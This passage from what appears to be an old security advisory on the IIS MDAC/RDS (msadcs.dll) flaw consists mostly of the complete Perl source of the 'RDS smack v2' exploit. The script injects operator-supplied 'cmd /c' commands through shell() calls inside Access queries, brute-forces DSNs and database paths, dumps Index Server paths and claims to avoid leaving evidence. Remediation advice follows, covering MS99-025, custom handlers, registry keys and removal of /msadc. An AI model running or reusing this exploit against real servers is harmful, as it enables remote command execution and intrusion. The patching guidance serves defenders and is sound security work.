		    "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
		    "\\system32\\certmdb.mdb",
		    "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%

    my @mdbs=(	"\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
		    "\\cfusion\\cfapps\\forums\\forums_.mdb",
		    "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
		    "\\cfusion\\cfapps\\security\\realm_.mdb",
		    "\\cfusion\\cfapps\\security\\data\\realm.mdb",
		    "\\cfusion\\database\\cfexamples.mdb",
		    "\\cfusion\\database\\cfsnippets.mdb",
		    "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
		    "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
		    "\\cfusion\\brighttiger\\database\\cleam.mdb",
		    "\\cfusion\\database\\smpolicy.mdb",
		    "\\cfusion\\database\cypress.mdb",
	    "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
		    "\\website\\cgi-win\\dbsample.mdb",
	    "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
	    "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
		    );  #these are just \

    foreach $drive (@drives) {
     foreach $dir (@dirs){
      foreach $mdb (@sysmdbs) {
       print ".";
       if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
        print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n" if
	    (!defined $args{V});
        if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
         print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
        }}}}}

     foreach $drive (@drives) {
      foreach $mdb (@mdbs) {
       print ".";
       if(create_table($drv . $drive . $dir . $mdb)){
        print "\n" . $drive . $dir . $mdb . " successful\n" if
	    (!defined {V});
        if(run_query($drv . $drive . ":" . $dir . $mdb)){
         print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
        }}}}
    }

    ##############################################################################

    sub hork_idx {
    print "\nAttempting to dump Index Server tables...\n";
    print "  NOTE:  Sometimes this takes a while, other times it stalls\n\n";
    $reqlen=length( make_req(4,"","") ) - 28;
    $reqlenlen=length( "$reqlen" );
    $clen= 206 + $reqlenlen + $reqlen;
    my @results=sendraw2(make_header() . make_req(4,"",""));
    if (rdo_success(@results)){
    my $max=@results; my $c; my %d;
    for($c=19; $c<$max; $c++){
	    $results[$c]=~s/\x00//g;
	    $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
	    $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
	    $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
	    $d{"$1$2"}="";}
    foreach $c (keys %d){ print "$c\n"; }
    } else {print "Index server not installed/query failed\n"; }}

    ##############################################################################

    sub dsn_dict {
    open(IN, "<$args{e}") || die("Can't open external dictionary\n");
    while(<IN>){
	    $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
	    next if (!is_access("DSN=$dSn"));
	    if(create_table("DSN=$dSn")){
	    print "$dSn successful\n" if(!defined $args{V});
	    if(run_query("DSN=$dSn")){
	    print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; }}}
    print "\n"; close(IN);}

    ##############################################################################

    sub sendraw2 { 	# ripped and modded from whisker
	    sleep($delay); # it's a DoS on the server! At least on mine...
	    my ($pstr)=@_;
	    socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
		    die("Socket problems\n");
	    if(connect(S,pack "SnA4x8",2,80,$target)){
		    open(OUT,">raw.out");   my @in;
		    select(S);	$|=1; 	print $pstr;
		    while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
		    close(OUT); select(STDOUT); close(S); return @in;
	    } else { die("Can't connect...\n"); }}

    ##############################################################################

    sub content_start { # this will take in the server headers
    my (@in)=@_; my $c;
    for ($c=1;$c<500;$c++) {
     if($in[$c] =~/^\x0d\x0a/){
      if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
      else { return $c+1; }}}
    return -1;} # it should never get here actually

    ##############################################################################

    sub funky {
    my (@in)=@_; my $error=odbc_error(@in);
    if($error=~/ADO could not find the specified provider/){
    print "\nServer returned an ADO miscofiguration message\nAborting.\n";
    exit;}
    if($error=~/A Handler is required/){
    print "\nServer has custom handler filters (they most likely are patched)\n";
    exit;}
    if($error=~/specified Handler has denied Access/){
    print "\nADO handlers denied access (they most likely are patched)\n";
    exit;}}

    ##############################################################################

    sub has_msadc {
    my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
    my $base=content_start(@results);
    return if($results[$base]=~/Content-Type: application\/x-varg/);
    my @s=grep("Server",@results);
    if($s[0]!~/IIS/){ print "Doh! They're not running IIS.\n" }
    else { print "/msadc/msadcs.dll was not found.\n";}
    exit;}

    ##############################################################################

    sub get_name { # this was added last minute
    my $msadc=<<EOT
    POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetMachineName HTTP/1.1
    User-Agent: ACTIVEDATA
    Host: $ip
    Content-Length: 126
    Connection: Keep-Alive

    ADCClientVersion:01.06
    Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=0

    --!ADM!ROX!YOUR!WORLD!--
    EOT
    ;  $msadc=~s/\n/\r\n/g;
    my @results=sendraw($msadc);
    my $base=content_start(@results);
    $results[$base+6]=~s/[^-A-Za-z0-9!\@\#\$\%^\&*()\[\]_=+~<>.,?]//g;
    print "Machine name: $results[$base+6]\n";}

    ##############################################################################

    # Note:  This is not a good example of precision code.  It is very
    # redundant and has a few kludges.  I have been adding features in one at
    # at a time, so it has resulted in redundant functions and patched code.
    # I will be rewriting it in the future, sometime.  Look for the newer code
    # revisions at www.technotronic.com/rfp/
    # This may also be included in the NT-PTK/P.  If you don't know what that
    # is, just wait and see. :)

    ##############################################################################

    When  you  are  trying  to  exploit  the  RDS  bug  and you made a
    sucessful attempt to retrive data  there's a problem to be  solve:
    The DataGRID don't let you save the info that you have downloaded.
    And when it DOES have RDS but it doesn't have the adctest.asp page
    you can't do much without  RDS packet installed (you can  download
    msadcsdk packet  from ms  site). So  Wanderley J.  Abreu Jr code a
    litle  program  running  win  win9x/NT  plataforms to exploit this
    As-Designed-Bug and save it  to a convecional format  (.XLS, HTML,
    .TXT,  ETC)  and  msadc  packet  is  not  required  on  the client
    machine.  E-mail him to get  a copy of program and source  pack at
    storm@UNIKEY.COM.BR.

    After some  time RDS  exploit version  2 saw  they of  light.  New
    features include:

    - UNC support.   This has only been tested with Windows 95 shares.
      NT     may     cause     authentication     wackiness.       Use
      -u \\server\share\file.mdb.  Also,  on unix boxen, don't  forget
      you   have   to   escape   the   '\',   so   would   look   like
      \\\\server\\share\\file.mdb.  Also have not tested with Samba.

    - Win 95 support.  Use -w to use command /c instead of cmd /c.

    -  Slimmed  down  the  query  process.   Before  it would query to
      determine if  it was  using Access  driver, then  create a table
      called  'AZZ',  and  then  try  to  use this 'AZZ' table for the
      exploit.  This  left obvious leftovers  (tables named 'AZZ')  on
      the server.   Now it just  queries MSysModules firsthand,  which
      cuts down the steps and  stops leaving evidence.  However,  this
      may  not  always  work.    Use  the  -c  switch  for   backwards
      compatibility (3 step process).

    - Only run  a certain step.   Use the -s  switch to specify  which
      step  to  run.   For  those  of  you  itching to try the new UNC
      support, you can run it  immediately (normally it's step 5),  by
      running:

        ./msadc.pl -h <host> -u <unc path> -s 5


    To run this script, save this and try:

        perl -x <this file name>

    ########################################################################
    
    #!perl
    #
    # MSADC/RDS 'usage' (aka exploit) script version 2
    #
    #	by rain forest puppy
    #
    #	- added UNC support, really didn't clean up code, but oh well
    
    use Socket; use Getopt::Std;
    getopts("e:vd:h:XRVNwcu:s:", \%args);
    
    print "-- RDS smack v2 - rain forest puppy / ADM / wiretrip --\n";
    
    if (!defined $args{h} && !defined $args{R}) {
    print qq~
    Usage: msadc.pl -h <host> { -d <delay> -X -v }
	    -h <host> 		= host you want to scan (ip or domain)
	    -d <seconds>		= delay between calls, default 1 second
	    -X			= dump Index Server path table, if available
	    -N			= query VbBusObj for NetBIOS name
	    -V			= use VbBusObj instead of ActiveDataFactory
	    -v			= verbose
	    -e			= external dictionary file for step 5
	    -u <\\\\host\\share\\file>	= use UNC file
	    -w			= Windows 95 instead of Windows NT
	    -c			= v1 compatibility (three step query)
	    -s <number>		= run only step <number>
    
	    Or a -R will resume a (v2) command session
    
    ~; exit;}
    
    ###########################################################
    # config data
    
    @drives=("c","d","e","f","g","h");
    
    @sysdirs=("winnt","winnt35","winnt351","win","windows");
    
    # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
    @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
	    "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
	    "banner", "banners", "ads", "ADCDemo", "ADCTest");
    
    # this is sparse, because I don't know of many
    @sysmdbs=(	"\\catroot\\icatalog.mdb",
		    "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
		    "\\system32\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
		    "\\system32\\certmdb.mdb",
		    "\\system32\\ias\\ias.mdb",
		    "\\system32\\ias\dnary.mdb",
		    "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
    @mdbs=(	"\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
	    "\\cfusion\\cfapps\\forums\\forums_.mdb",
	    "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
	    "\\cfusion\\cfapps\\security\\realm_.mdb",
	    "\\cfusion\\cfapps\\security\\data\\realm.mdb",
	    "\\cfusion\\database\\cfexamples.mdb",
	    "\\cfusion\\database\\cfsnippets.mdb",
	    "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
	    "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
	    "\\cfusion\\brighttiger\\database\\cleam.mdb",
	    "\\cfusion\\database\\smpolicy.mdb",
	    "\\cfusion\\database\cypress.mdb",
	    "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
	    "\\website\\cgi-win\\dbsample.mdb",
	    "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
	    "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
	    );  #these are just \
    ###########################################################
    
    $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
    if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
    if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
    if(!defined $args{R}){ $target= inet_aton($ip)
	    || die("inet_aton problems; host doesn't exist?");}
    if (!defined $args{R}){ $ret = &has_msadc; }
    
    if (defined $args{X}) { &hork_idx; exit; }
    if (defined $args{N}) { &get_name; exit; }
    
    if (defined $args{w}){$comm="command /c";} else {$comm="cmd /c";}
    if (defined $args{R}) { &load; exit; }
    
    print "Type the command line you want to run ($comm assumed):\n"
	    . "$comm ";
    $in=<STDIN>;    chomp $in;
    $command="$comm " . $in ;
    
    if (!defined $args{s} || $args{s}==1){
    print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
    &try_btcustmr;}
    
    if (!defined $args{s} || $args{s}==2){
    print "\nStep 2: Trying to make our own DSN...";
    if (&make_dsn){ print "<<success>>\n"; sleep(3); } else {
	    print "<<fail>>\n"; }}   # we need to sleep to let the server catchup
    
    if (!defined $args{s} || $args{s}==3){
    print "\nStep 3: Trying known DSNs...";
    &known_dsn;}
    
    if (!defined $args{s} || $args{s}==4){
    print "\nStep 4: Trying known .mdbs...";
    &known_mdb;}
    
    if (!defined $args{s} || $args{s}==5){
    if (defined $args{u}){
    print "\xStep 5: Trying UNC...";
    &use_unc; } else { "\nNo -u; Step 5 skipped.\n"; }}
    
    if (!defined $args{s} || $args{s}==6){
    if (defined $args{e}){
    print "\nStep 6: Trying dictionary of DSN names...";
    &dsn_dict; } else { "\nNo -e; Step 6 skipped.\n"; }}
    
    print "\n\nNo luck, guess you'll have to use a real hack, eh?\n";
    exit;
    
    ##############################################################################
    
    sub sendraw { 	# this saves the whole transaction anyway
	    my ($pstr)=@_;
	    socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
		    die("Socket problems\n");
	    if(connect(S,pack "SnA4x8",2,80,$target)){
		    open(OUT,">raw.out");   my @in;
		    select(S);	$|=1; 	print $pstr;
		    while(<S>){ print OUT $_; push @in, $_;
			    print STDOUT "." if(defined $args{X});}
		    close(OUT); select(STDOUT); close(S); return @in;
	    } else { die("Can't connect...\n"); }}
    
    ##############################################################################
    
    sub make_header {  # make the HTTP request
    my $aa, $bb;
    if (defined $args{V}){
    $aa="VbBusObj.VbBusObjCls.GetRecordset";
    $bb="2";
    } else {
    $aa="AdvancedDataFactory.Query";
    $bb="3";}
    
    $msadc=<<EOT
    POST /msadc/msadcs.dll/$aa HTTP/1.1
    User-Agent: ACTIVEDATA
    Host: $ip
    Content-Length: $clen
    Connection: Keep-Alive
    
    ADCClientVersion:01.06
    Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=$bb
    
    --!ADM!ROX!YOUR!WORLD!
    Content-Type: application/x-varg
    Content-Length: $reqlen
    
    EOT
    ;
    $msadc=~s/\n/\r\n/g;
    return $msadc;}
    
    ##############################################################################
    
    sub make_req {  # make the RDS request
    my ($switch, $p1, $p2)=@_;
    my $req=""; my $t1, $t2, $query, $dsn;
    
    if ($switch==1){ # this is the btcustmr.mdb query
    $query="Select * from Customers where City='|shell(\"$command\")|'";
    $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
	    $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
    
    elsif ($switch==2){ # this is general make table query
    $query="create table AZZ (B int, C varchar(10))";
    $dsn="$p1";}
    
    elsif ($switch==3){ # this is general exploit table query
    $query="select * from AZZ where C='|shell(\"$command\")|'";
    $dsn="$p1";}
    
    elsif ($switch==4){ # attempt to hork file info from index server
    $query="select path from scope()";
    $dsn="Provider=MSIDXS;";}
    
    elsif ($switch==5){ # bad query
    $query="select";
    $dsn="$p1";}
    
    elsif ($switch==6){ # this is table-independant query (new)
    $query="select * from MSysModules where name='|shell(\"$command\")|'";
    $dsn="$p1";}
    
    $t1= make_unicode($query);
    $t2= make_unicode($dsn);
    if(defined $args{V}) { $req=""; } else {$req = "\x02\x00\x03\x00"; }
    $req.= "\x08\x00" . pack ("S1", length($t1));
    $req.= "\x00\x00" . $t1 ;
    $req.= "\x08\x00" . pack ("S1", length($t2));
    $req.= "\x00\x00" . $t2 ;
    $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
    return $req;}
    
    ##############################################################################
    
    sub make_unicode { # quick little function to convert to unicode
    my ($in)=@_; my $out;
    for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
    return $out;}
    
    ##############################################################################
    
    sub rdo_success {  # checks for RDO return success (this is kludge)
    my (@in) = @_; my $base=content_start(@in);
    if($in[$base]=~/multipart\/mixed/){
    return 1 if( $in[$base+10]=~/^\x09\x00/ );}
    return 0;}
    
    ##############################################################################
    
    sub make_dsn {  # this (tries to) make a DSN for us
    print "\nMaking DSN: ";
    foreach $drive (@drives) {
    print "$drive: ";
    my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
	    "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
	    . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
    $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
    return 0 if $2 eq "404"; # not found/doesn't exist
    if($2 eq "200") {
      foreach $line (@results) {
        return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
    } return 0;}
    
    ##############################################################################
    
    sub verify_exists {
    my ($page)=@_;
    my @results=sendraw("GET $page HTTP/1.0\n\n");
    return $results[0];}
    
    ##############################################################################
    
    sub try_btcustmr {
    
    foreach $dir (@sysdirs) {
     print "$dir -> "; # fun status so you can see progress
     foreach $drive (@drives) {
     print "$drive: ";  # ditto
    $reqlen=length( make_req(1,$drive,$dir) ) - 28;
    $reqlenlen=length( "$reqlen" );
    $clen= 206 + $reqlenlen + $reqlen;
    
    my @results=sendraw(make_header() . make_req(1,$drive,$dir));
    if (rdo_success(@results)){print "Success!\n";
    
    save("dbq=".$drive.":\\".$dir."\\help\\iis\\htm\\tutorial\\btcustmr.mdb;");
	    exit;}
    else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
    
    ##############################################################################
    
    sub odbc_error {
    my (@in)=@_; my $base;
    my $base = content_start(@in);
    if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
    $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
    $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
    $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
    return $in[$base+4].$in[$base+5].$in[$base+6];}
    print "\nNON-STANDARD error.  Please sent this info to rfp\@wiretrip.net:\n";
    print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
	    $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
    
    ##############################################################################
    
    sub verbose {
    my ($in)=@_;
    return if !$verbose;
    print STDOUT "\n$in\n";}
    
    ##############################################################################
    
    sub save {
    my ($p1)=@_; my $ropt="";
    open(OUT, ">rds.save") || print "Problem saving parameters...\n";
    if (defined $args{c}){ $ropt="c ";}
    if (defined $args{V}){ $ropt.="V ";}
    if (defined $args{w}){ $ropt.="w ";}
    print OUT "v2\n$ip\n$ropt\n$p1\n";
    close OUT;}
    
    ##############################################################################
    
    sub load {
    my ($action)=@_;
    my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)};";
    open(IN,"<rds.save") || die("Couldn't open rds.save\n");
    @p=<IN>; close(IN);
    die("Wrong rds.save version") if $p[0] ne "v2\n";
    $ip="$p[1]"; $ip=~s/\n//g;
    $target= inet_aton($ip) || die("inet_aton problems");
    print "Resuming to $ip ...";
    @switches=split(/ /,$p[2]);
    foreach $switch (@switches) {
	    $args{$switch}="1";}
    
    if (defined $args{w}){$comm="command /c";} else {$comm="cmd /c";}
    print "Type the command line you want to run ($comm assumed):\n"
	    . "$comm ";
    $in=<STDIN>;    chomp $in;
    $command="$comm " . $in ;
    
    $torun="$p[3]"; $torun=~s/\n//g;
    if($torun=~/btcustmr/){
	    $args{'c'}="1";}   # this is a kludge to make it work
    
    if($torun=~/^dbq/){ $torun=$drvst.$torun; }
    
    if(run_query("$torun")){
	    print "Success!\n";} else { print "failed\n"; }
    exit;}
    
    ##############################################################################
    
    sub create_table {
    return 1 if (!defined $args{c});
    return 1 if (defined $args{V});
    my ($in)=@_;
    $reqlen=length( make_req(2,$in,"") ) - 28;
    $reqlenlen=length( "$reqlen" );
    $clen= 206 + $reqlenlen + $reqlen;
    my @results=sendraw(make_header() . make_req(2,$in,""));
    return 1 if rdo_success(@results);
    my $temp= odbc_error(@results);  verbose($temp);
    return 1 if $temp=~/Table 'AZZ' already exists/;
    return 0;}
    
    ##############################################################################
    
    sub known_dsn {
    foreach $dSn (@dsns) {
	    print ".";
	    next if (!is_access("DSN=$dSn"));
	    if(create_table("DSN=$dSn")){
	    if(run_query("DSN=$dSn")){
	    print "$dSn: Success!\n"; save ("dsn=$dSn"); exit; }}} print "\n";}
    
    ##############################################################################
    
    sub is_access {
    my ($in)=@_;
    return 1 if (!defined $args{c});
    return 1 if (defined $args{V});
    $reqlen=length( make_req(5,$in,"") ) - 28;
    $reqlenlen=length( "$reqlen" );
    $clen= 206 + $reqlenlen + $reqlen;
    my @results=sendraw(make_header() . make_req(5,$in,""));
    my $temp= odbc_error(@results);
    verbose($temp); return 1 if ($temp=~/Microsoft Access/);
    return 0;}
    
    ##############################################################################
    
    sub run_query {
    my ($in)=@_; my $req;
    if (defined $args{c}){$req=3;} else {$req=6;}
    $reqlen=length( make_req($req,$in,"") ) - 28;
    
    $reqlenlen=length( "$reqlen" );
    $clen= 206 + $reqlenlen + $reqlen;
    my @results=sendraw(make_header() . make_req($req,$in,""));
    return 1 if rdo_success(@results);
    my $temp= odbc_error(@results);  verbose($temp);
    return 0;}
    
    ##############################################################################
    
    sub known_mdb {
    my @drives=("c","d","e","f","g");
    my @dirs=("winnt","winnt35","winnt351","win","windows");
    my $dir, $drive, $mdb;
    my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
    
    foreach $drive (@drives) {
     foreach $dir (@sysdirs){
      foreach $mdb (@sysmdbs) {
       print ".";
       if(create_table($drv.$drive.":\\".$dir.$mdb)){
        if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
         print "$mdb: Success!\n"; save ("dbq=".$drive .":\\".$dir.$mdb); exit;
        }}}}}
    
     foreach $drive (@drives) {
      foreach $mdb (@mdbs) {
       print ".";
       if(create_table($drv.$drive.":".$mdb)){
        if(run_query($drv.$drive.":".$mdb)){
         print "$mdb: Success!\n"; save ("dbq=".$drive.":".$mdb); exit;
        }}}}
    }
    
    ##############################################################################
    
    sub hork_idx {
    print "\nAttempting to dump Index Server tables...\n";
    print "  NOTE:  Sometimes this takes a while, other times it stalls\n\n";
    $reqlen=length( make_req(4,"","") ) - 28;
    $reqlenlen=length( "$reqlen" );
    $clen= 206 + $reqlenlen + $reqlen;
    my @results=sendraw(make_header() . make_req(4,"",""));
    if (rdo_success(@results)){
    my $max=@results; my $c; my %d;
    for($c=19; $c<$max; $c++){
	    $results[$c]=~s/\x00//g;
	    $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
	    $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
	    $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
	    $d{"$1$2"}="";}
    foreach $c (keys %d){ print "$c\n"; }
    } else {print "Index server not installed/query failed\n"; }}
    
    ##############################################################################
    
    sub dsn_dict {
    open(IN, "<$args{e}") || die("Can't open external dictionary\n");
    while(<IN>){
	    $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
	    next if (!is_access("DSN=$dSn"));
	    if(create_table("DSN=$dSn")){
	    if(run_query("DSN=$dSn")){
	    print "Success!\n"; save ("dsn=$dSn"); exit; }}}
    print "\n"; close(IN);}
    
    ##############################################################################
    
    sub content_start { # this will take in the server headers
    my (@in)=@_; my $c;
    for ($c=1;$c<500;$c++) { # assume there's less than 500 headers
     if($in[$c] =~/^\x0d\x0a/){
      if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
      else { return $c+1; }}}
    return -1;} # it should never get here actually
    
    ##############################################################################
    
    sub funky {
    my (@in)=@_; my $error=odbc_error(@in);
    if($error=~/ADO could not find the specified provider/){
    print "\nServer returned an ADO miscofiguration message\nAborting.\n";
    exit;}
    if($error=~/A Handler is required/){
    print "\nServer has custom handler filters (they most likely are patched)\n";
    exit;}
    if($error=~/specified Handler has denied Access/){
    print "\nADO handlers denied access (they most likely are patched)\n";
    exit;}
    if($error=~/server has denied access/){
    print "\nADO handlers denied access (they most likely are patched)\n";
    exit;}}
    
    ##############################################################################
    
    sub has_msadc {
    my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
    my $base=content_start(@results);
    return if($results[$base]=~/Content-Type: application\/x-varg/);
    my @s=grep("Server: ",@results);
    if($s[0]!~/IIS/){ print "Doh! They're not running IIS.\n$s[0]\n" }
    else { print "/msadc/msadcs.dll was not found.\n";}
    exit;}
    
    ##############################################################################
    
    sub use_unc {
    $uncpath=$args{u};
    $driverline="driver={Microsoft Access Driver (*.mdb)};dbq=";
    if(!$uncpath=~/^\\\\[a-zA-Z0-9_.]+\\[-a-zA-Z0-9_]+\\.+/){
	    print   "Your UNC path sucks.  You need the following format:\n".
		    "\\server(ip preferable)\share\some-file.mdb\n\n"; exit; }
    
    if(create_table($driverline.$uncpath)){
      if(run_query($driverline.$uncpath)){
         print "Success!\n"; save ("dbq=".$uncpath); exit;}}
    }
    
    ##############################################################################
    
    sub get_name { # this was added last minute
    my $msadc=<<EOT
    POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetMachineName HTTP/1.1
    User-Agent: ACTIVEDATA
    Host: $ip
    Content-Length: 126
    Connection: Keep-Alive
    
    ADCClientVersion:01.06
    Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=0
    
    --!ADM!ROX!YOUR!WORLD!--
    EOT
    ;  $msadc=~s/\n/\r\n/g;
    my @results=sendraw($msadc);
    my $base=content_start(@results);
    $results[$base+6]=~s/[^-A-Za-z0-9!\@\#\$\%^\&*()\[\]_=+~<>.,?]//g;
    print "Machine name: $results[$base+6]\n";}
    
    ##############################################################################
    # special greets to trambottic, hex_edit, vacuum (technotronic), all #!adm,
    # #!w00w00 & #rhino9 (that's a lot of people, and they are all very elite and
    # good friends!), wiretrip, l0pht, nmrc & all of phrack
    #
    # thumbs up to packetstorm, hackernews, phrack, securityfocus, ntsecadvice
    #
    # I wish I could really name everyone, but I can't.  Don't feel slighted if
    # your not on the list... :)
    ##############################################################################

    While testing on some boxes, some people found they had to change

        my @s=grep("Server: ",@results);

    to

        my @s=grep(/^Server:/,@results);

    in sub has_msadc() (tested using perl 5.004_05 on a linux box).

SOLUTION

    After bringing the  issue to the  attention of Microsoft  by Greg,
    along with a list of some of the larger affected sites, they  have
    decided  to  release  a  new  version  of  MS98-004  as  MS99-025.
    Disabling RDS  has also  been part  of the  IIS Security Checklist
    for quite some time:

        http://www.microsoft.com/security/products/iis/CheckList.asp

    This security issues may  affect ColdFusion customers.   Visit the
    Security Zone  at the  Allaire Web  site to  learn about these new
    issues and what actions you can take to address them:

        http://www.allaire.com/security

    Check ASB99-11: Solutions  to Issues that  Allow Users to  Execute
    Commands  on  NT  Servers  through  MDAC  RDS.   As  indicated  in
    Microsoft Security Bulletin  MS98-004 and MS99-025  some Microsoft
    Data Access Components (MDAC)  could allow unauthorized access  to
    a  web  server  hosted  on  Microsoft  Windows  NT.  This is not a
    problem  with  ColdFusion   Server.  However,  Allaire   customers
    running on  Windows NT  should take  the steps  outlined below  to
    protect themselves from this vulnerability. [NOTE: ColdFusion  RDS
    ("Remote  Development   Services")  are   an  entirely   different
    technology than the MDAC RDS  ("Remote Data Services") and do  not
    make use of  MDAC RDS. The  remainder of this  Bulletin uses "RDS"
    to refer  to the  MDAC Remote  Data Services,  not the  ColdFusion
    Remote Development Services.]

    If you are using RDS, you should disallow anonymous access to  the
    /msadc directory, or  create a custom  handler to filter  incoming
    requests (http://www.microsoft.com/Data/ado/rds/custhand.htm).  If
    you do not do anything, your  IIS server will remain wide open  to
    attack via  this exploit,  and since  the exploit  occurs entirely
    over Port 80, your firewall will likely not be a factor.  Keep  in
    mind, even if you have upgraded  from MDAC 1.5 to 2.0 or  2.1, the
    server will likely still be affected, since once the registry keys
    are created, they must be modified manually.

    Apparently  when  Microsoft  released  the  MS99-025  Bulletin  it
    contained a reference to a file called;

        HANDUNSF (may have been .exe, .rem, or .reg)

    THIS IS THE WRONG REGISTRY FILE. It contains the lines;

        [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DataFactory\HandlerInfo]
        "handlerRequired"=dword:00000000
        "DefaultHandler"="MSDFMAP.Handler"

    Note, the  "handlerRequired" parameter  is 0.   In order  for this
    registry file to be effective, it must be 1;

        [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DataFactory\HandlerInfo]
        "handlerRequired"=dword:00000001
        "DefaultHandler"="MSDFMAP.Handler"

    Such a file exists on Microsoft's site as;

        http://www.microsoft.com/security/bulletins/handsafe.exe

    It appears MS have removed all references to this file from  their
    Security  Bulletin.   For  those  that  don't know, these registry
    entries are different than those listed in the Security  Bulletin.
    These  entries  implement  "Customization  Handler  Feature in RDS
    2.0" as per;

        http://www.microsoft.com/Data/ado/rds/custhand.htm

    referenced  in  the  Security  Bulletin.   The Custom Handler this
    registry  file  implements  will  protect  the  site  against  the
    specific vulnerability covered by  the Bulletin and is  one method
    of protecting your site  from this vulnerability without  removing
    RDS capabilities.

    Now Microsoft does make some other mentions of just disabling  RDS
    all together.   While this  will work,  unfortunately, RDS  exists
    for a  reason, and  many people  are using  it legitimately.  That
    means there are people who  can't disable it because they  use it.
    So what to do?   Those who need RDS:  custom handlers are the  way
    to go.  Unfortunately, there's  that pesky VbBusObj to deal  with.
    This is actually not that hard.   You need to delete the  VbBusObj
    references.  Simply delete the following registry key

        HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/W3SVC/Parameters/ADCLaunch/VbBusObj.VbBusObjCls

    (line unbroken  for integrity)   For peace  of mind  you can  also
    delete vbbusobj.dll, which is installed at (pending root drives)

        c:\program files\common files\system\msadc\samples\selector\middle_tier\vbbusobj\vbbusobj.dll

    That should be it.  Now, you'll need to read about custom  handler
    creation, and cooperate with the DBAs at your location to come  up
    with a suitable, yet secure handler definition.   Those who  don't
    need RDS:   still upgrade your  MDAC and run  HANDSAFE.EXE just in
    case.   But  you  can  basically  prevent  people  from  using RDS
    remotely by removing  the /msadc/ virtual  root.  You  can do this
    in MMC or via the IIS Administration HTML interface.

    While we're  digging around  IIS, let's  do a  little cleaning up,
    shall we?  Let's start off with ODBC.  Open up Control Panel,  and
    go into ODBC.   Look at the DSNs  defined under User, System,  and
    File.   You  should  delete  any  DSNs  you do not use, especially
    sample/default DSNs, such  as 'pubs', 'advworks',  'adctest', etc.
    You should  fully research  the need  for any  particular DSN  you
